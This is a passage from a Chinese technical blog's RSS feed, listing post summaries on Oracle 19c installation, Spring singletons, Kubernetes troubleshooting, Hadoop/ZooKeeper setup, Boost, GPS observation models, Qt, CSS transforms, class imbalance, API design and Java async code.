denyAll() { return false; } } 3、认证&#xA;AbstractUserDetailsAuthenticationProvider</description>
    </item>
    <item>
      <title>centos7部署oracle19c-最简单的安装方式-rpm安装</title>
      <link>https://bchobby.github.io/posts/41f3b86759d1ad8977eb68fc22b38fc8/</link>
      <pubDate>Thu, 27 Jan 2022 10:26:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41f3b86759d1ad8977eb68fc22b38fc8/</guid>
      <description>Oracle部署 曾经被oracle的部署方式折磨的死去活来，最近突发奇想又想再来一次，结果打开oracle官网，忽然发现竟然可以这样~&#xA;竟然有RPM包了，&#xA;1. 下载安装包 总共需要上图所示两个包，较大的2.5G的包可按照第一张图片位置下载即可，较小的包下载地址：&#xA;http://yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/getPackage/oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm&#xA;2. 先安装rpm包 按照下面顺序安装，顺序不能乱&#xA;yum -y install oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm yum -y install oracle-database-ee-19c-1.0-1.x86_64.rpm 如果安装过程提示少了一些依赖库，安装下依赖库就行&#xA;3. 创建数据库 /etc/init.d/oracledb_ORCLCDB-19c configure 执行上面的命令，等待完成，这一步时间可能会稍微长一点。&#xA;4. 最后一步 4.1 oracle设置密码 以上过程会将oracle用户，组都创建好，我们设置个密码，为了可以登录就行&#xA;passwd oracle 4.2 环境变量设置 可以再很多地方配置：/etc/profile、/etc/bashrc、/home/oracle/.bashrc等环境变量配置文件配置皆可。在文件末尾加上以下几行&#xA;export ORACLE_BASE=/opt/oracle export ORACLE_HOME=/opt/oracle/product/19c/dbhome_1 export ORACLE_SID=ORCLCDB export PATH=$ORACLE_HOME/bin:$PATH:$HOME/.local/bin:$HOME/bin 而后，生效一下配置文件，&#xA;source /etc/bashrc 4.3 登录 到此为止，所有配置基本完成&#xA;切换oracle用户，可以登录：&#xA;sqlplus / as sysdba 5. 创建用户并登录 启动数据库：&#xA;SQL&amp;gt; STARTUP; ORACLE instance started. Total System Global Area 406844688 bytes Fixed Size&#x9;9135376 bytes Variable Size&#x9;276824064 bytes Database Buffers&#x9;117440512 bytes Redo Buffers&#x9;3444736 bytes Database mounted.</description>
    </item>
    <item>
      <title>为什么Spring中的对象默认要设计成单例的</title>
      <link>https://bchobby.github.io/posts/f39b0ec3d9c3e7b34f0d2554bab38916/</link>
      <pubDate>Thu, 27 Jan 2022 10:01:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f39b0ec3d9c3e7b34f0d2554bab38916/</guid>
      <description>问题 :&#xA;为什么要设计成单例&#xA;单例的bean如何解决线程安全问题&#xA;对于第一点，可以理解为为了简化资源消耗，因为每有一个请求打到Controller层十，如果该Controller是原型，那么就会重新实例化一个对象，这样对于高并发的情况下消耗是相当大的，所以设计为单例，所有请求访问的都是同一个对象。&#xA;但是这样就会有一个缺点，那就是多线程的情况下如何解决线程安全问题，因为你都是访问的同一个controller对象啊，假如此时多个线程同时访问该controller的同一个方法(假设该方法对实例变量进行了操作)，那不就有线程安全问题了吗？那你说可以在需要的方法上加上悲观锁不就好了，频繁的线程切换会消耗大量cpu时间，在高并发惜时如金的情况下显然不合适，所以可以采用以“空间”换“时间”的做法：&#xA;threadlocal&#xA;常见的有RequestContextHolder、TransactionSynchronizationManager等都是采用threadlocal，其中RequestContextHolder的作用是获取当前请求的上下文，比如request、session这些，在没有threadlocal的情况下，我们大概要写一个加了悲观锁的静态方法，方法内容是获取当前线程的request对象，然后当前线程作为key，request对象作为value存到一个全局map里面。&#xA;有了threadlocal之后，我只需将request对象set入当前线程thread的Threadlocal.threadlocalmap属性中，threadlocal实际上并没啥用，只是起到一个“钩子”的作用，存值的时候负责用set方法把request对象甩到当前线程的threadlocalmap的entry[]数组中，取值的时候负责将threadlocalmap的entry[]数组对应的值从当前线程中“钩”出来（是通过threadlocal来作为key从entry[]中存取值，所以叫钩子）：&#xA;除上图中的方法还有其他封装threadlocal的方法，这里就不细谈了。&#xA;题外话&#xA;部分面试题springbean单例是线程安全的吗, 其实问题本身有歧义, springbean和线程安全没有关系, spring只是提供了一个容器用于管理实例, 单例还是原型区别只是整个过程是否使用同一实例, spring不能也无法预知你代码内容是否造成线程安全问题, 你需要做的是自行注意代码线程安全问题, 所以相对于面视的时候直接抛出这个问题, 还不如待面试者回答完单例或原型的基础概念后, 抛砖引玉地来一句: “既然单例模式全程只使用同一个实例, 那如果我代码中有操作成员变量地代码, 那如何在多个请求打到这个实例上的时候保证线程安全?”, 问题清晰明了, 又能凸显面试官职业水平</description>
    </item>
    <item>
      <title>服务器安装 Ubuntu 系统完成重启后花屏、紫屏解决办法</title>
      <link>https://bchobby.github.io/posts/f55fc1b51d56702e785ad369028d3b26/</link>
      <pubDate>Thu, 27 Jan 2022 09:05:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f55fc1b51d56702e785ad369028d3b26/</guid>
      <description>服务器安装 Ubuntu 系统时一切正常，安装完成重启后还没进登录页面就花屏，如下图&#xA;很多方法不好使，直接换显示器，好了！！！！！！！！！！！</description>
    </item>
    <item>
      <title>记一次 K8s 控制平面排障的血泪经历！</title>
      <link>https://bchobby.github.io/posts/92c0befac7d9127104a4d055e8b5b9a6/</link>
      <pubDate>Thu, 27 Jan 2022 08:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92c0befac7d9127104a4d055e8b5b9a6/</guid>
      <description>集群以及环境信息的信息：&#xA;k8s v1.18.4&#xA;3 节点 Master 均为 8 核 16Gi, 50Gi-SSD&#xA;差异化配置的 19 节点 Minion&#xA;control-plane 组件 (kube-apiserver,etcd,kube-controller-manager, kube-scheduler) 以 static-pod 的模式进行部署&#xA;3 个 kube-apiserver 前端有一个 VIP 进行流量的 LoadBalance&#xA;腾讯云的 SSD 性能大概是 130MB/s&#xA;故障描述 在 2021-9-10 下午“诡异”的事情开始出现：kubectl 偶尔卡住无法正常 CRUDW 标准资源 (Pod, Node 等)，此时已经意识到是部分的 kube-apiserver 无法正常工作，然后尝试分别接入 3 台 kube-apiserver 所在宿主机，发现以下不正常的情况：&#xA;现场的信息 k8s control-plane kube-apiserver Pod 信息 $ kubectl get pods -n kube-system kube-apiserver-x.x.x.x -o yaml ... containerStatuses: - containerID: docker://xxxxx .</description>
    </item>
    <item>
      <title>华为云Centos7搭建hadoop集群三：jdk，hadoop安装</title>
      <link>https://bchobby.github.io/posts/7d8ad8bb93b3f80e31733bb9f297cb80/</link>
      <pubDate>Wed, 26 Jan 2022 20:20:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d8ad8bb93b3f80e31733bb9f297cb80/</guid>
      <description>华为云Centos7搭建hadoop集群三：jdk，hadoop安装&#xA;使用hadoop用户，在/opt下面创建module文件夹，并将权限赋值给hadoop用户&#xA;–如果使用root用户 直接创建即可&#xA;sudo chown hadoop:hadoop module/&#xA;第一个用户是属主信息，第二个用户是属组信息&#xA;将jdk，hadoop上传到云服务器后，解压到指定文件夹&#xA;sudo tar -zxvf /data/jdk-8u212-linux-x64.tar.gz -C /opt/module/&#xA;sudo tar -zxvf /data/hadoop-3.1.3.tar.gz -C /opt/module/&#xA;配置环境变量，新建环境变量文件配设置hadoop与jdk目录，配置后记得source生效，java与hadoop验证版本&#xA;sudo vi /etc/profile.d/my_env.sh 每个节点都配置&#xA;source /etc/profile&#xA;java -version&#xA;hadoop version&#xA;另外两个节点创建/opt/module 目录&#xA;将jdk与hadoop分发到另外两台节点&#xA;安装hadoop，进入hadoop文件夹&#xA;我配置的是高可用的namenode，节点选择hadoop01.hadoop02&#xA;高可用的resourcemanager，节点选择hadoop01，hadoop02&#xA;yarn历史服务器，节点选择hadoop03&#xA;因为配置高可用，所以需要先安装zookeeper，节点三台全部安装&#xA;先将zookeeper上传解压到/opt/module/并重命名&#xA;tar -zxvf /data/apache-zookeeper-3.5.7-bin.tar.gz -C /opt/module/&#xA;mv apache-zookeeper-3.5.7-bin/ zookeeper-3.5.7&#xA;在zk目录下新建data文件夹&#xA;mkdir data&#xA;进入zk的conf目录&#xA;将zoo_sample.cfg 为 zoo.cfg&#xA;修改zoo.cfg配置文件，将dataDir修改为创建的data文件夹，增加zk的server信息&#xA;server分别为服务器编号，服务器节点，内部与leader通信端口，选举leader端口，zk对外的连接端口为2181&#xA;进入zk的data目录下，新建一个myid文件，配置与server对应的节点编号对应，如hadoop01，就配置1来对应Server.1&#xA;将zk从01分到到02，03节点，过程省略，并且要记得修改另外两台节点的myid信息，因为同步的数据myid为1可以使用vi，或者&#xA;使用echo 2 &amp;gt; myid ,这里的 &amp;gt; 表示覆盖写入的意思，03节点对应echo 3 &amp;gt; myid</description>
    </item>
    <item>
      <title>C&#43;&#43; | boost库入门</title>
      <link>https://bchobby.github.io/posts/f1e07031dce3f25b005fbdf4715dc88d/</link>
      <pubDate>Wed, 26 Jan 2022 18:41:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1e07031dce3f25b005fbdf4715dc88d/</guid>
      <description>目录&#xA;一、boost库简介&#xA;二、boost库安装及编译&#xA;1.目录结构说明&#xA;2.编译静态库&#xA;3.构建工具b2 三、boost库的简单使用&#xA;一、boost库简介 Boost是一个功能强大 , 构造精良 , 跨越平台 , 代码开源 , 完全免费的 C ++ 程序库。&#xA;功能强大 共包含 160 余个库 / 组件 , 涵盖字符串与文本处理、容器、迭代器、算法、图像处理、模板元编程、并发编程等多个领域。&#xA;构造精良 由 c ++ 标准委员会成员发起倡议并建立 boost 社区 , C ++11 标准库中三分之二来自 boost , 并且将来还会有更多的库进入 c ++ 标准库 , 因此 boost 是一个 c ++ &#34; 准 &#34; 标准库。&#xA;跨越平台 支持现有的所有操作系统。&#xA;代码开源，完全免费 Boost的发布采用Boost Software License，这是一个不同于GPL和Apache的非常宽松的许可证（许可证相关知识可查看秒懂开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别），该许可证允许库用户将Boost用于任何用途，既鼓励非商业用途，也鼓励商业用途。用户无须支付任何费用，不受任何限制，即可轻松享有Boost的全部功能。&#xA;Boost库的大多数组件不需要编译链接，我们在自己的源码里直接包含头文件即可。（注意：包含头文件的时候需要有boost目录，即#include &#34;boost/logic/tribool.hpp&#34;，而不能是#include &#34;logic/tribool.hpp&#34;）剩下的少量库（如chrono、date_time、program_options、test、thread等）必须编译成静态库或动态库，并在构建时指定链接选项才能使用。&#xA;Boost的独特之处：它把C++类的声明和实现放在了一个文件中，而不是分成两个文件，即.h+.cpp，故文件的后缀是.hpp。&#xA;二、boost库安装及编译 1.目录结构说明 在boost官网下载boost压缩文件（我用的是boost_1_74_0.zip这个版本），解压后主要目录结构说明如下：&#xA;--boost：最重要的目录 , 90 % 以上的 Boost 程序库源码都在这里</description>
    </item>
    <item>
      <title>Go遇到的坑</title>
      <link>https://bchobby.github.io/posts/3d64f35a91743f7868541ec7337377dc/</link>
      <pubDate>Wed, 26 Jan 2022 17:19:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d64f35a91743f7868541ec7337377dc/</guid>
      <description> 配置 MacOs 修改GO111MODULE环境变量出错 warning: go env -w GO111MODULE=… does not override conflicting OS environment variable 原因是在设置的时候，系统的环境变量GO111MODULE已经有值，而go env是不支持覆盖写入的。但是可以修改系统文件.bash_profile 或者直接操作系统环境变量&#xA;所以使用export直接改变系统环境变量&#xA;export GO111MODULE=off </description>
    </item>
    <item>
      <title>GPS从入门到放弃（九）、伪距与载波相位 （扩展）</title>
      <link>https://bchobby.github.io/posts/e514875aff7f4e71873306b7bd09dfe4/</link>
      <pubDate>Wed, 26 Jan 2022 14:56:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e514875aff7f4e71873306b7bd09dfe4/</guid>
      <description>感谢 GNSS伪距及载波相位观测模型_Chaoz3的博客-CSDN博客_载波相位观测方程&#xA;前言 最小二乘与卡尔曼滤波是目前GNSS定位中主流的二类平差滤波方法，而构建观测模型是此二类方法的关键步骤。本篇从伪距和载波相位观测方程出发，推导了伪距单点定位，RTK相对定位，历元间三差相对定位中的观测模型。主要参考RTKLIB、《GPS测量与数据处理》及《GPS原理与接收机设计》书籍。&#xA;一、观测方程 1、伪距、载波相位观测方程&#xA;其中，p为伪距观测值(单位m)，r为真实卫地距(单位m)，c为光速(单位m/s)，光速乘的那部分为接收机钟差及卫星钟差(单位s)，I为电离层延迟(单位m)，T为对流层延迟(单位m),φ为载波相位观测值(单位rad)，λ为载波波长(单位m),N为整周模糊度(单位rad)。伪距观测及载波相位观测中都在方程尾引入了测量噪声项，代表了所有未直接体现在方程中的误差总和，为了方便公式书写，后续将其忽略。&#xA;2、单差、双差、三差观测方程 单差观测： 伪距观测及载波相位观测在流动站与基准站之间求一次差，可以消除卫星钟差，在短基线情况下（基站流动站之间的距离不超过10km），可以消去电离层和对流层延迟误差，忽略测量噪声项，得到如下观测方程：&#xA;双差观测： 单差观测在同系统卫星p与卫星q之间作二次差，可消去接收机钟差，得到双差观测方程：&#xA;三差观测： 双差观测在此历元与上一历元之间作三次差，可消去双差整周模糊度参数（常量），得到三差观测方程：&#xA;二、观测模型 1、伪距单点定位（SPP）最小二乘观测模型 伪距观测方程中的r为真实的卫地距，由于真实接收机位置未知，真实卫地距是无法计算的，我们只能给定一个大致的接收机位置[x, y, z]（ECEF_xyz坐标系下，后续默认都在此坐标系下），可求得卫星与接收机大致位置之间卫地距ρ：&#xA;真实卫地距r:&#xA;在真实位置处泰勒展开并取一阶项，可得：&#xA;则伪距观测方程可写为：&#xA;通过上式我们可以构建最小二乘的几个矩阵：&#xA;然后通过最小二乘求解公式完成一次位置的迭代更新：&#xA;上式中的P为伪距观测的权值矩阵，一般通过卫星高度角定权模型给出，迭代计算10次以下（RTKLIB）就可收敛得到伪距单点定位结果。&#xA;2、载波相位相对定位（RTK）卡尔曼滤波浮点解量测模型 浮点解求解使用伪距及载波相位双差观测，双差观测方程：&#xA;上式的r为真实双差卫地距，用下标i表示流动站，j表示基站（基站由于真实坐标已知，认为真实卫地距已知），上标p表示卫星p，q表示卫星q，代入真实卫地距线性化结果并站间作差星间作差可得：&#xA;上式代入双差观测方程：&#xA;通过上式我们可以构造卡尔曼滤波量测模型，根据状态参数的不同，主要有以下两种构造方式：&#xA;（1）以单差模糊度参数作为状态量（RTKLIB）&#xA;根据状态量的不同对双差观测方程进行适当的变换：&#xA;根据上式，可以构建卡尔曼滤波浮点解求解的量测模型（假设观测到N颗卫星，以第一颗卫星作为双差基准星）：&#xA;V(t)为双差观测量的误差，一般是通过伪距误差（事先设定的定值）及载波相位误差（事先设定的定值）通过双差变化得到。&#xA;（2）以双差模糊度误差作为状态量&#xA;将双差模糊度的误差（整数）分离出来，得到观测方程：&#xA;带-上标的N表示为上一历元双差模糊度的最优估计，根据上式，构建卡尔曼滤波浮点解求解的量测方程（假设观测到N颗卫星，以第一颗卫星作为双差基准星）：&#xA;然后通过卡尔曼滤波量测更新公式完成卡尔曼滤波浮点解的求解。&#xA;3、 历元间三差最小二乘观测模型 三差观测方程：&#xA;对于三差卫地距，在历元间作了一次差，我们认为上一历元的位置结果是精确的（即t1历元的双差卫地距是精确已知的），以t2历元的伪距单点定位位置解作为此历元接收机大致位置，代入t2历元双差卫地距的线性化结果，此时的真实三差卫地距写为：&#xA;上式中的delta_r(t2)表示t2历元的真实位置与t2历元大致位置间的误差。将上式代入三差观测方程，可得:&#xA;移项得：&#xA;通过上式我们可以构建出最小二乘的各项矩阵：&#xA;只做一次最小二乘迭代，得到此历元位置与此历元大致位置的位置误差，此位置误差再加上此历元大致位置与上一历元精确位置的误差，就得到了t1历元到t2历元的接收机位置变化量。若直接用上一历元的接收机精确位置作为此历元接收机的大致位置，那么三差求得的位置误差就是两历元间的接收机位置变化量。</description>
    </item>
    <item>
      <title>Qt 通过重写QGraphicItem实现绘制、拖动、缩放、旋转矩形</title>
      <link>https://bchobby.github.io/posts/e6ad3aa7a3a137a26cd5571102dba797/</link>
      <pubDate>Wed, 26 Jan 2022 14:23:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6ad3aa7a3a137a26cd5571102dba797/</guid>
      <description>Qt 通过重写QGraphicItem实现绘制、拖动、缩放、旋转矩形&#xA;本例程通过重写了一个类，继承自QGraphicItem，来实现了在qgraphicsScene上绘制、拖动、缩放、旋转矩形。&#xA;效果如下：&#xA;其实要实现绘制、拖动、缩放矩形都不难，难的是在旋转之后还要支持缩放。&#xA;我的思路是：&#xA;1.实现绘制矩形：只要定义一个全局变量QRectF m_oldRect，在外面矩形大小传进来，然后在paint函数里面绘制这个矩形就行&#xA;2.实现拖动矩形：重写mousePressEvent，mouseMoveEvent，mouseReleaseEvent，记录鼠标按下的起始点和移动时候的点，并用moveBy()函数来移动矩形即可&#xA;3.实现缩放：在矩形内部靠近4条边的地方定义4个矩形，当鼠标按下的时候在这4个矩形方框内，则将矩形往4个方向拉伸&#xA;4.实现旋转：&#xA;我给之前定义的矩形全部配一个QPolygonF，因为我只能通过绘制多边形的方式来画出旋转之后的矩形。&#xA;矩形正上方的圆圈我是通过三角函数+直线方程来计算，让其始终绘制在矩形左右两个顶点的中垂线上方。&#xA;当鼠标落在圆形内部的时候可以控制矩形旋转。&#xA;在矩形旋转之后，再进行拉伸的时候，我是通过的计算鼠标的点离对面的边的距离来重新计算矩形的大小，然后计算对应的QPolygonF的大小。&#xA;主要代码如下： mygraphicrectitem.h #ifndef MYGRAPHICRECTITEM_H&#xA;#define MYGRAPHICRECTITEM_H&#xA;#include #include #include #include #include #include #include #include #include #include enum STATE_FLAG{&#xA;DEFAULT_FLAG=0,&#xA;MOV_LEFT_LINE,//标记当前为用户按下矩形的左边界区域&#xA;MOV_TOP_LINE,//标记当前为用户按下矩形的上边界区域&#xA;MOV_RIGHT_LINE,//标记当前为用户按下矩形的右边界区域&#xA;MOV_BOTTOM_LINE,//标记当前为用户按下矩形的下边界区域&#xA;MOV_RIGHTBOTTOM_RECT,//标记当前为用户按下矩形的右下角&#xA;MOV_RECT,//标记当前为鼠标拖动图片移动状态&#xA;ROTATE//标记当前为旋转状态&#xA;};&#xA;class myGraphicRectItem:public QObject,public QGraphicsItem&#xA;{&#xA;Q_OBJECT&#xA;public:&#xA;myGraphicRectItem(QGraphicsItem *parent = nullptr);&#xA;//myGraphicRectItem(QRectF m_OriginRect = QRectF(0,0,100,100));&#xA;QRectF boundingRect() const;&#xA;~myGraphicRectItem();&#xA;void setRectSize(QRectF mrect,bool bResetRotateCenter = true);&#xA;void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget);</description>
    </item>
    <item>
      <title>CSS3转换属性（Transform）</title>
      <link>https://bchobby.github.io/posts/2ea8493875e5092b966ef966a1c7aa42/</link>
      <pubDate>Wed, 26 Jan 2022 13:59:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ea8493875e5092b966ef966a1c7aa42/</guid>
      <description>变形属性：transform transform翻译成汉语具有&#34;变换&#34;或者&#34;改变&#34;的意思。&#xA;通过此属性具有非常强大的功能，比如可以实现元素的位移、拉伸或者旋转等效果&#xA;最能体现transform 属性强大实力的是实现元素的3D变换效果&#xA;变形属性：transform的所有属性值 transform：none;默认值transform：translate（）；移动 平移 单位是pxtransform：rotate（）；旋转 单位是deg deg度数 transform：scale（）；&#xA;缩放 没有单位 默认值是1transform：skew（）；倾斜 单位是degtransform：matrix（）；矩阵 transform：perspective（）；景深 视距 单位是px 确定坐标系 2d场景，在屏幕上水平和垂直的交叉线x轴和y轴&#xA;3d场景，在垂直于屏幕的方法，相对于3d多出个z轴&#xA;Z轴：靠近屏幕的方向是正向，远离屏幕的方向是反向&#xA;属性详细解释 （一）transform：translate（）；移动 平移 单位是px。 注意：&#xA;transform ：translate(200px)；平移，默认是X轴移动，可以单位是%，这个%是自己的，不是父元素的。&#xA;transform ：translateX(200px)；根据X轴给定的参数，从当前元素位置移动。transform ：translateY(200px)；根据Y轴给定的参数，从当前元素位置移动。transform ：translateZ(200px)；定义 3D 转换，只是用 Z 轴的值。transform ：translate(10px,20px)；定义 2D 平移移动。transform ：translate3d(10px,20px,30px)；定义 3D 平移移动。transform ：translateX(200px) translateY(200px) translateZ(200px)； 部分代码展示：&#xA;&amp;lt;style&amp;gt; * { margin: 0; padding: 0; } div { width: 100px; height: 100px; margin: 300px; background-color: red; } div:nth-of-type(1) { transform: translateX(100px); } div:nth-of-type(2) { transform: translateY(200px); } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; 运行结果：</description>
    </item>
    <item>
      <title>样本不均衡的问题</title>
      <link>https://bchobby.github.io/posts/798e788e5276bcce517c8483ab026791/</link>
      <pubDate>Wed, 26 Jan 2022 11:56:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/798e788e5276bcce517c8483ab026791/</guid>
      <description>一、样本不均衡简介 1.1 样本不均衡现象 样本（类别）样本不平衡（class-imbalance）指的是分类任务中不同类别的训练样例数目差别很大的情况，一般地，样本类别比例（Imbalance Ratio）（多数类vs少数类）明显大于1:1（如4：1）就可以归为样本不均衡的问题。现实中，样本不平衡是一种常见的现象，如：金融欺诈交易检测，欺诈交易的订单样本通常是占总交易数量的极少部分，而且对于有些任务而言少数样本更为重要。&#xA;1.2 不均衡的根本影响 很多时候我们遇到样本不均衡问题时，很直接的反应就是去“打破”这种不平衡。但是样本不均衡有什么影响？有必要去解决吗？&#xA;具体举个例子，在一个欺诈识别的案例中，好坏样本的占比是1000：1，而如果我们直接拿这个比例去学习模型的话，因为扔进去模型学习的样本大部分都是好的，就很容易学出一个把所有样本都预测为好的模型，而且这样预测的概率准确率还是非常高的。而模型最终学习的并不是如何分辨好坏，而是学习到了”好 远比 坏的多“这样的先验信息，凭着这个信息把所有样本都判定为“好”就可以了。这样就背离了模型学习去分辨好坏的初衷了。所以，样本不均衡带来的根本影响是：模型会学习到训练集中样本比例的这种先验性信息，以致于实际预测时就会对多数类别有侧重（可能导致多数类精度更好，而少数类比较差）。&#xA;如下图，类别不均衡情况下的分类边界会偏向“侵占”少数类的区域，更重要的一点，这会影响模型学习更本质的特征，影响模型的鲁棒性。&#xA;总结一下也就是，我们通过解决样本不均衡，可以减少模型学习样本比例的先验信息，以获得能学习到辨别好坏本质特征的模型。&#xA;1.3 判断解决不均衡是否有必要 从分类效果出发，通过上面的例子可知，不均衡对于分类结果的影响不一定是不好的，那什么时候需要解决样本不均衡？&#xA;判断任务是否复杂：学习任务的复杂度与样本不平衡的敏感度是成正比的（参见《Survey on deep learning with class imbalance》），对于简单线性可分任务，样本是否均衡影响不大。需要注意的是，学习任务的复杂度是相对意义上的，得从特征强弱、数据噪音情况以及模型容量等方面综合评估。（样本越复杂，样本不平衡敏感度越高）判断训练样本的分布与真实样本分布是否一致且稳定，如果分布是一致的，带着这种正确点的先验对预测结果影响不大。但是，还需要考虑到，如果后面真实样本分布变了，这个样本比例的先验就有副作用了。判断是否出现某一类别样本数目非常稀少的情况，这时模型很有可能学习不好，类别不均衡是需要解决的，如选择一些数据增强的方法，或者尝试如异常检测的单分类模型。 二、样本不均衡解决办法 基本上，在学习任务有些难度的前提下，不均衡解决方法可以归结为：通过某种方法使得不同类别的样本对于模型学习中的Loss（或梯度）贡献是比较均衡的。以消除模型对不同类别的偏向性，学习到更为本质的特征。本文从数据样本、模型算法、目标（损失）函数、评估指标等方面，对个中的解决方法进行探讨。&#xA;2.1 样本层面 2.1.1 欠采样、过采样 最直接的处理方式就是样本数量的调整了，常用的可以：&#xA;欠采样：减少多数类的数量（如随机欠采样、NearMiss、ENN）。过采样：尽量多地增加少数类的的样本数量（如随机过采样、以及2.1.2数据增强方法），以达到类别间数目均衡。还可结合两者做混合采样（如Smote+ENN） 2.1.2 数据增强 数据增强（Data Augmentation）是在不实质性的增加数据的情况下，从原始数据加工出更多数据的表示，提高原数据的数量及质量，以接近于更多数据量产生的价值，从而提高模型的学习效果（其实也是过采样的方法的一种。如下列举常用的方法：&#xA;基于样本变换的数据增强&#xA;样本变换数据增强即采用预设的数据变换规则进行已有数据的扩增，包含单样本数据增强和多样本数据增强。单样本增强(主要用于图像)：主要有几何操作、颜色变换、随机擦除、添加噪声等方法产生新的样本，可参见imgaug开源库。&#xA;多样本增强：是通过组合及转换多个样本，主要有Smote类（可见imbalanced-learn.org/stable/references/over_sampling.html）、SamplePairing、Mixup等方法在特征空间内构造已知样本的邻域值样本。&#xA;基于深度学习的数据增强&#xA;生成模型如变分自编码网络(Variational Auto-Encoding network, VAE)和生成对抗网络(Generative Adversarial Network, GAN)，其生成样本的方法也可以用于数据增强。这种基于网络合成的方法相比于传统的数据增强技术虽然过程更加复杂, 但是生成的样本更加多样。&#xA;数据样本层面解决不均衡的方法，需要关注的是：随机欠采样可能会导致丢弃含有重要信息的样本。在计算性能足够下，可以考虑数据的分布信息（通常是基于距离的邻域关系）的采样方法，如ENN、NearMiss等。随机过采样或数据增强样本也有可能是强调（或引入）片面噪声，导致过拟合。也可能是引入信息量不大的样本。此时需要考虑的是调整采样方法，或者通过半监督算法(可借鉴Pu-Learning思路)选择增强数据的较优子集，以提高模型的泛化能力。 2.2 损失函数层面 损失函数层面主流的方法也就是常用的代价敏感学习（cost-sensitive），为不同的分类错误给予不同惩罚力度（权重），在调节类别平衡的同时，也不会增加计算复杂度。如下常用方法：&#xA;2.2.1 class weight 这最常用也就是scikit模型的’class weight‘方法，class weight可以为不同类别的样本提供不同的权重（少数类有更高的权重），从而模型可以平衡各类别的学习。如下图通过为少数类做更高的权重，以避免决策偏重多数类的现象（类别权重除了设定为balanced，还可以作为一个超参搜索。示例代码请见（github.com/aialgorithm）：&#xA;2.2.2 OHEM 和 Focal Loss 上文的大意是，类别的不平衡可以归结为难易样本的不平衡，而难易样本的不平衡可以归结为梯度的不平衡。按照这个思路，OHEM和Focal loss都做了两件事：难样本挖掘以及类别的平衡。&#xA;OHEM（Online Hard Example Mining）算法的核心是选择一些hard examples（多样性和高损失的样本）作为训练的样本，针对性地改善模型学习效果。对于数据的类别不平衡问题，OHEM的针对性更强。Focal loss的核心思想是在交叉熵损失函数（CE）的基础上增加了类别的不同权重以及困难（高损失）样本的权重（如下公式），以改善模型学习效果。 2.</description>
    </item>
    <item>
      <title>艺术~如何设计一套优秀的API响应体</title>
      <link>https://bchobby.github.io/posts/0397a3a80727c563a0b2e6b3cac1bfc2/</link>
      <pubDate>Wed, 26 Jan 2022 11:55:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0397a3a80727c563a0b2e6b3cac1bfc2/</guid>
      <description>文章目录 前言参考HTTP状态码优秀的设计进行分段处理个性化Message额外的好处 前言 客户端请求API，通常需要通过返回码来判断API返回的结果是否符合预期，以及该如何处理返回的内容等.&#xA;有的API用返回码是int类型，有的是string类型，有的用0表示成功，又有的用1表示成功，还有用“true”表示成功，碰上这种事情，只能说：沟通起来真头疼。&#xA;API返回码的设计还是要认真对待，毕竟好的返回码设计可以降低沟通成本以及程序的维护成本。&#xA;参考HTTP状态码 以HTTP状态码为例，为了更加清晰的表述和区分状态码的含义，HTTP状态做了分段。&#xA;对于后端开发来说，我们通常见到的都是：&#xA;2XX状态码，比如200-&amp;gt;请求成功。&#xA;5XX状态码，比如502-&amp;gt;服务器异常，通常就是服务没正常运行，或者代码执行出错。&#xA;通过状态码即可初步判断问题原因，HTTP状态的设计思路值得借鉴。&#xA;优秀的设计 虽说是返回码设计，但是只有code是不行的，还要有对应的message，让人可以看懂，有data统一管理数据。&#xA;进行分段处理 参考HTTP状态码的思路，我们对错误码进行分段。&#xA;个性化Message 目前有三个问题&#xA;在不同的场景下，同样的错误，可能需要给不同用户端（APP 小程序 网页）看到不一样的错误提示。通常我们的Message都是写给工程师看的，但是对于用户来说，返回的信息又必须是准确的，所以用户看到的就必须转译。完整的message如果在服务与服务之间传输调用也是没必要的浪费。 所以可以把转译的消息配置到数据库，并缓存到Redis或者API本机，在请求最后要返回的时候进行转译。可以在请求开始的时候就从不同的用户端传入不同的application_id参数，然后在请求处理结束即将返回的时候，根据application_id+code，去匹配替换message。&#xA;额外的好处 有了统一的code，我们就可以通过Nginx或者APM工具统计API请求Code数量及分布信息。&#xA;我们可以根据单位时间内99999的数量来做API的异常告警。&#xA;我们可以根据Code的返回饼图，帮助我们发现系统、业务流程中的问题，及时的去优化业务。&#xA;总之，好的返回码设计，可以帮助我们提高沟通效率，降低代码的维护成本</description>
    </item>
    <item>
      <title>java 多线程异步处理List拿到返回结果</title>
      <link>https://bchobby.github.io/posts/deb80174f90bcdcc18b8d84045c0f38b/</link>
      <pubDate>Wed, 26 Jan 2022 10:17:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deb80174f90bcdcc18b8d84045c0f38b/</guid>
      <description> public static void test10() throws ExecutionException, InterruptedException { List&amp;lt;TestUser&amp;gt; userList=new ArrayList&amp;lt;&amp;gt;(); for(int i=0;i&amp;lt;1000;i++){ TestUser testUser=new TestUser(); testUser.setUsername(&#34;a&#34;+i); testUser.setAge(1); userList.add(testUser); } List&amp;lt;Future&amp;gt; futureList=new ArrayList&amp;lt;&amp;gt;(); for(TestUser testUser:userList){ Future&amp;lt;TestUser&amp;gt; future=ThreadUtil.execAsync(new Callable&amp;lt;TestUser&amp;gt; (){ @Override public TestUser call() throws Exception { Thread.sleep(1000); testUser.setAge(testUser.getAge()+1); return testUser; } }); futureList.add(future); } List&amp;lt;TestUser&amp;gt; testUserList=new ArrayList&amp;lt;&amp;gt;(); for(Future&amp;lt;TestUser&amp;gt; future:futureList){ TestUser testUser=future.get(); 